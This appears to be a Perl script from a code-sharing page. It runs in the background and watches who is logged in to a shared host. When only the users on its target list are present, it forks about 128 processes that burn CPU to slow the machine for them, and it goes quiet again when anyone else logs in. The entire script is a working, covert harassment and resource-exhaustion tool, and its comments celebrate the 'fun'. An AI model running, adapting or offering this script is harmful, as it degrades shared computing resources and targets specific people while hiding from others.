#!/usr/bin/perl

use strict;
use warnings;
use POSIX;
use Sys::Hostname;
use Fcntl;

sub puzzone;
sub wannabegood ();
sub wannaharass ();
sub intheshadow ();
sub harass ();

sub killnwait;
sub emergencyexit ();
sub moreinfo ();

my @puzzoni=qw/***/; # There may be others...

my $home=$ENV{HOME};
my $lockdir="$home/.lock";

mkdir $lockdir or
  die "$0: Can't create directory `$lockdir': $!\n"
  unless -d $lockdir;

(my $name=$0) =~ s|.*/||;
my $host=hostname;

my $lockfile="$lockdir/$name-$host";

sysopen my $lock, $lockfile, O_CREAT | O_EXCL | O_WRONLY
  or die "$0: already running on $host\n";
my $havelock=1;

END { unlink $lockfile if $havelock }

$SIG{$_}=sub {
    unlink $lockfile if $havelock;
    exit } for qw/INT TERM/;

defined(my $pid=fork) or
  die "$0: Can't go in background: $!\n";
if ($pid) {
    warn "$0: Going in background with pid $pid\n";
    $havelock=0;
    exit;
}

$|++;
setsid;

close STDIN;
close STDOUT;
close STDERR and
  open STDERR, '>', $_ or
  die "$0: Can't redirect STDERR to `$_': $!\n"
  for "$home/.$name-log";

intheshadow;


sub puzzone {
    my $u=shift || $_;
    $u eq $_ and return 1 for @puzzoni;
    0;
}

sub wannabegood () {
    open my $fh, '-|', 'w -h' or
      die "Couldn't start `w -h': $!\n";
    my @lines=<$fh>;
    return 1 unless @lines;
    grep !puzzone,
      map +(split)[0], @lines;
}

sub wannaharass () { !wannabegood }

sub killnwait {
    kill 15, @_;
    waitpid $_, 0 for @_;
}

sub emergencyexit () {
    die "Emergency exit!\n"
      if -e "$home/STOP";
}

sub intheshadow () {
    while (1) {
        emergencyexit;
        sleep 10;  # do almost nothing
        goto &harass if wannaharass;
    }
}

{
    my $forked=0;

    sub moreinfo () {
        "[$name/$forked\@$host - ${\(scalar localtime)}] ";
    }

    sub harass () {  # Let the fun begin!! ;-)
        $forked=0;
        my @family;
        local $SIG{TERM}=sub {
            killnwait @family;
            $havelock=0;
            die moreinfo, "Stopping!\n";
        };
        for (1..7) {
            defined (my $pid=fork) or
              warn moreinfo, "Couldn't fork: $!\n";
            $forked *= 2;
            if ($pid) {
                push @family, $pid;
            } else {
                @family=();
                $forked++;
            }
        }
        while (1) {
        emergencyexit;
            warn moreinfo, "Starting activity\n";
            if ($forked) {
                # Put the CPU under pressure!
                rand for 1..rand 100_000;
            } else {
                sleep 5;
                next unless wannabegood;
                killnwait @family;
                goto &intheshadow;
            }
        }
    }
}

__END__
[download]